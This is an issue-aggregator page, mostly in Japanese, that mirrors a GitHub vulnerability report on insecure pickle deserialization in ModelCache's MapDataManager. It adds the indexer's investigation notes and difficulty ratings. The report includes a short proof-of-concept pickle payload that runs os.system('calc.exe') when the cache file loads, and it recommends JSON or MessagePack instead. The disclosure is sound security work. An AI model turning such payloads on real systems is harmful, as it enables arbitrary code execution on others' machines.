codefuse-ai / codefuse-ai/ModelCache

Insecure Deserialization Vulnerability in DataManager

オープン
#70 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る
主要言語
Python
スター
938
フォーク
65
PR マージ指標
30日以内にマージされた PR はありません

説明

Hi,

I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.

**PoC**

Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.

```

import pickle
import os
from modelcache.manager import get_data_manager

# Malicious class that executes arbitrary code when deserialized
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',)) # calc.exe for windows

malicious_payload = pickle.dumps(Exploit())

with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
f.write(malicious_payload)

# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)
```

While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.

**Recommendation**

To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.

Thanks.

![Image](https://github.com/user-attachments/assets/7c4affc8-a28c-4599-bb2c-9a1f85e382d3)

コントリビューションガイド

このリポジトリのコントリビューションガイドは索引されていません

調査の方向性

まず MapDataManager と pickle.load の呼び出しを見つけ、次に get_data_manager と factory.py がどのように data_map.txt を作成して読み込むかを追跡します。安全な置き換えを選ぶ前に、キャッシュ形式と既存のテストを確認してください。キャッシュされたデータを任意のコードを実行せずに読み込め、関連する読み込み動作がテストでカバーされていれば完了です。

索引モデルが issue の本文から書いたものです。

評価

技術スタック
python
領域
backend, security
issue の種類
バグ
難易度
5/5
見積もり時間
1週間以上
活発さ
停滞
明瞭さ
おおむね明確
初心者へのやさしさ
30/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。